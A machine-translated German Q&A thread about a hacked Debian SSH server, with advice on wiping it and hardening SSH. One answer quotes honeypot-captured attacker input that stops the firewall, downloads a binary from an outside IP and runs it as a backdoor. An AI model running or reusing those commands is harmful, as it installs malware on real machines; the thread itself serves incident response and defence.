ABER: Der Angreifer hat auch deine geändert /etc/rc.d/rc.local Datei, in der Hoffnung, dass beim Start des Systems die Payload aktiviert wird. Wenn Sie das System noch nicht neu gestartet haben, führen Sie keinen Neustart durch, bis Sie diese Änderungen entfernt haben /etc/rc.d/rc.local. Wenn Sie es schon wieder gestartet haben ... nun, Pech gehabt.

Was Sie dagegen tun können: Am sichersten ist es, das System zu löschen und von Grund auf neu zu installieren. Aber das ist nicht immer eine Option. Eine wesentlich weniger sichere Sache ist es, genau zu analysieren, was passiert ist und jede Spur davon zu löschen, wenn Sie können. Auch wenn Sie das System noch nicht neu gestartet haben, ist alles, was es braucht, sauber /etc/rc.d/rc.local, entferne alles, was vom Angreifer heruntergeladen wurde, und ändere schließlich das Passwort!

Wenn der Angreifer jedoch bereits in der Lage war, die Nutzlast auszuführen, können andere Änderungen an Ihrem System vorgenommen werden, die möglicherweise schwer zu erkennen sind. Deshalb ist ein komplettes Wischen wirklich die einzige sichere (und empfohlene) Option. Wie Sie angegeben haben, kann es sich bei dem betreffenden Gerät um ein Test- / Entwicklungsziel handeln, so dass es möglicherweise nicht so schmerzhaft ist, es in anderen Fällen zu beseitigen.

Aktualisieren: Ungeachtet dessen, was ich über eine mögliche Genesung geschrieben habe, möchte ich das von MariusMatutiae wiederholen sehr stark Empfehlung, den potenziellen Schaden, der durch diese Nutzlast verursacht wird, und das Ausmaß, in dem sie möglicherweise das Zielsystem beeinträchtigt haben, nicht zu unterschätzen.


33
2018-02-01 21:06



Vielen Dank. Ich habe beschlossen, das System zu löschen. Ich habe es ein paar Mal neu gestartet, nur um einige wichtige Daten zu kopieren. Keine Binärdateien, nur Quellcode. Ich denke, ich bin jetzt ziemlich sicher. - vaid
Was ist mit anderen Boxen im selben LAN? - WGroleau
Gute Frage. Der Shellverlauf, der bereitgestellt wurde, zeigt keine Versuche an, andere Felder in demselben Netzwerk zu erkennen und zu kompromittieren. Allgemeiner gesagt, wenn der Angreifer SSH (Root) -Zugriff auf eine Box erhält, bedeutet dies grundsätzlich, dass er jegliche Perimeter-Firewalls umgangen hat. Es bedeutet jedoch nicht automatisch, dass andere Boxen kompromittiert werden: das würde etwas anderes erfordern, wie eine nicht gepatchte Sicherheitslücke, Passwörter zwischen Boxen, automatische Anmeldung von einer Box zur nächsten usw. - Viktor Toth


Mein Sshd-Honeypot hat auch diese Art von Angriff gesehen. Erste Downloads von dieser URL gestartet 2016-01-29 10:25:33 und Angriffe sind noch nicht abgeschlossen. Angriffe kommen / kamen von

103.30.4.212
111.68.6.170
118.193.228.169

Input von diesen Angreifern war:

Service Iptables stoppen
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & amp1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
cd / tmp

Also keine anderen Aktivitäten als die Hintertür für später zu installieren.


17
2018-02-02 10:34



Einverstanden, es ist das gleiche MO. - MariusMatutiae
@MariusMatutiae Also das ist dann kein manueller Hack? Es ist eine Art sich selbst ausbreitender Wurm / Bot? - NickG
@NickG Meine beste Vermutung ist, dass dies kein manueller Hack war. Wie hoch ist die Wahrscheinlichkeit, dass vaid im selben Büro arbeitet wie der Urheber eines chinesischen Botnetzes? Jemand fand eine ausnutzbare Schwäche in seiner Maschine, höchstwahrscheinlich einen schwach gesicherten SSH-Server, erzwang sein Passwort, ergriff Zugriff, versuchte sich heimlich zu installieren. Ich wette aber auch, dass der Angreifer mit Windows flüssiger ist als mit Linux. Aber ich habe keine hart Beweis dafür, nur eine fundierte Vermutung. - MariusMatutiae


Jeder hier hat solide Ratschläge gegeben, aber um klar zu sein, sollten Ihre Prioritäten darin bestehen, zu sichern und zu überprüfen, was Sie wirklich von diesem System brauchen, und es dann mit einer neuen Installation von bekannten sicheren Medien zu löschen.

Bevor Sie Ihren neu installierten Host mit dem Internet verbinden, führen Sie diese Ideen durch:

  1. Erstellen Sie einen neuen Benutzer ohne Rootberechtigung und melden Sie sich als dieser Benutzer an. Sie sollten sich niemals als root einloggen müssen, nur sudo (substitute user do) wenn nötig.

  2. Installieren Sie SE Linux, Konfigurationseinstellungen, die eine obligatorische Zugriffssteuerung ermöglichen: https://wiki.debian.org/SELinux/Setup

  3. Stellen Sie sich eine Hardware-Firewall zwischen Ihrem Büro / Zuhause und dem Internet vor. Ich benutze MicroTik, das ausgezeichnete Community-Unterstützung bietet: http://routerboard.com/.

Angenommen, Sie befinden sich in einer Zeitleiste, in der Sie Ihre bezahlte Arbeit abschließen können, tun Sie mindestens # 1. # 3 ist schnell und billig, aber Sie müssen entweder auf das Paket in der Post warten oder in den Laden fahren.


11
2018-02-01 23:32



Und vor allem lassen Sie Ihren PC nicht unbeaufsichtigt mit einer offenen Root-Sitzung laufen! - MariusMatutiae


  1. Ist debian-armhf Dein Hostname? Oder verwenden Sie eine Standardinstallation mit Standardeinstellungen? Es gibt kein Problem damit, aber Sie sollten nicht zulassen, dass der Host direkt dem Internet ausgesetzt ist (d. H. Nicht durch Ihr Modem geschützt ist).

  2. Es sieht so aus, als käme das eigentliche Problem 222.186.30.209 (sehen http://anti-hacker-alliance.com/index.php?ip=222.186.30.209). Sie sollten nicht viel Aufmerksamkeit darauf verwenden, Microsofts IP zu sehen. IPs können mehr oder weniger einfach gefälscht / gefälscht werden.

  3. Eine übliche Art, sich mit dem Internet zu verbinden, besteht darin, eine bekannte Liste von Ports von Ihrer öffentlichen IP (z. B. 8.8.8.8) zu Ihrer lokalen IP-Adresse (z. B. 192.168.1.12) weiterzuleiten.

    • Zum Beispiel leiten Sie nicht alle eingehenden Verbindungen von 8.8.8.8 (öffentlich) zu 192.168.1.12 (lokal).

    • Nur Ports weiterleiten 22 und 25 (ssh bzw. eingehende Mail). Sie sollten natürlich up-to-date haben ssh und smtp Pakete / Bibliotheken.

  4. Was kommt als nächstes? Trennen Sie den Host und ändern Sie alle Kennwörter (auf allen Computern, die mit der Organisation verbunden sind), die in Shell-Skripten festgeschrieben sind (Schande über Sie!) In /etc/shadow.


11
2018-02-01 13:03



1. Ja debian-armhf ist der Hostname. 2. Ja, ich habe diesen Artikel gelesen und kontaktierte Microsoft über die Website cest.microsoft.com. 3. Ich hatte nur 25 und 22 weitergeleitet, da wurde nichts weiter weitergeleitet. 4. Ich werde das tun - vaid
"IP kann mehr oder weniger leicht gefälscht werden": Ich bin weder Sicherheitsexperte noch Netzwerkexperte. Wie ist das möglich? - kevinarpe
@kevinarpe Das ist wahrscheinlich viel besser als separate Frage. - Michael Kjörling
sehen stackoverflow.com/questions/5180557/... und superuser.com/questions/37687/ ... - Archemar
@Archemar: SSH ist TCP; Das Fälschen von TCP-Quell-IP ist schwierig, wenn nicht unmöglich. Darüber hinaus gehört die Microsoft IP, wie bereits oben erwähnt, zu ihrem Cloud-Service Azure, was bedeutet, dass jeder Zeit auf dem Dienst gekauft haben könnte, um andere anzugreifen. - nneonneo


Wie andere gesagt haben, ist es ziemlich klar, dass die Sicherheit Ihres Servers kompromittiert wurde. Am sichersten ist es, diese Maschine zu wischen und neu zu installieren.

Um den zweiten Teil Ihrer Frage zu beantworten, wenn Sie Public Key Auth nicht verwenden können, empfehle ich mindestens Fail2Ban einzurichten und SSH auf einem nicht standardmäßigen Port auszuführen. Ich deaktiviere auch den Root-SSH-Zugriff.

Fail2Ban Brute-Force-Attacken werden dadurch gemildert, dass IP-Adressen gesperrt werden, die sich nicht mehrmals anmelden.

Wenn Sie sshd so einstellen, dass Sie auf einem Nicht-Standard-Port hören, wird zumindest die Sichtbarkeit Ihres SSH-Servers ein wenig reduziert. Durch das Deaktivieren der Root-Anmeldung wird auch das Angriffsprofil geringfügig reduziert. Im /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Wenn die root-Anmeldung deaktiviert ist, müssen Sie entweder zu root wechseln su sobald Sie verbunden haben oder (mehr bevorzugt) verwenden sudo um privilegierte Befehle auszuführen.


9
2018-02-02 16:58



Ich habe beides gemacht, danke für den Rat. - vaid


SSH-Server werden im Internet ständig angegriffen. Ein paar Dinge, die du tust:

  1. Stellen Sie sicher, dass Sie ein sehr sicheres zufälliges Passwort für internetfähige Maschinen verwenden. Ich meine wie 16 Zeichen oder mehr und völlig zufällig. Verwenden Sie einen Passwort-Manager, damit Sie ihn sich nicht merken müssen. Wenn Sie sich Ihr Passwort merken können, ist es zu einfach.

  2. Wenn Sie SSH nicht benötigen, schalten Sie es aus. Wenn Sie es benötigen, aber nicht öffentlich zugänglich sind, führen Sie es auf einer hohen, nicht standardmäßigen Portnummer aus. Dies wird Hackversuche drastisch reduzieren. Ja, ein dedizierter Hacker kann einen Port-Scan durchführen, aber automatisierte Bots finden ihn nicht.

Der Auszug aus Ihrem Authentifizierungsprotokoll zeigt einen fehlgeschlagenen Versuch. Wenn Sie jedoch weiter schauen, werden Sie zweifellos eine erfolgreiche Anmeldung sehen. Wenn Sie ein einfaches Passwort verwenden, ist es für einen Bot trivial, hineinzukommen.

Sie müssen diesen Computer vom Netzwerk isolieren. Ganz genau, was Sie brauchen, und wischen Sie es ab.


8
2018-02-01 23:51



Wenn ich ssh auf Port 22 laufen ließ, hatte ich normalerweise Tausende von Hackversuchen pro Tag. Als ich zu einer hohen Portnummer (über 50000) wechselte, hörten diese Hackversuche vollständig auf. - user1751825
16 Zeichen sind nicht sicher genug. Benutzerabmeldung ist auch praktisch. Machen Sie es nicht zu einer Dauersperre, lassen Sie es ablaufen, aber machen Sie es zu einer Stunde. Auf diese Weise können Sie weiterhin auf den Server zugreifen. - Ramhound
Beachten Sie, dass Schritt 2) für die Sicherheit nicht unbedingt erforderlich ist, solange Sie über eine starke Authentifizierung verfügen (öffentlicher Schlüssel oder ein sicheres Kennwort). - user20574
@Ramhound Warum nicht? Selbst wenn es nur Kleinbuchstaben sind, gibt 16 Kleinbuchstaben 43608742899428874059776 Möglichkeiten, die Brute-Force unpraktisch ist, vor allem für eine Online-Brute-Force, wo der Server Sie jedes Mal wartet, wenn Sie einen Versuch versäumen. - user20574
@ user20574. Obwohl dies nicht unbedingt notwendig ist, ist die Reduzierung der Sichtbarkeit des SSH-Dienstes immer noch sehr hilfreich. Auch wenn aus keinem anderen Grund, um Unordnung aus Ihren Protokollen zu entfernen. Wenn eine Maschine nur für eine begrenzte Gruppe von Personen zugänglich sein muss, ist ein Nicht-Standard-Port ein vollkommen vernünftiger Schritt zur Verbesserung der Sicherheit. - user1751825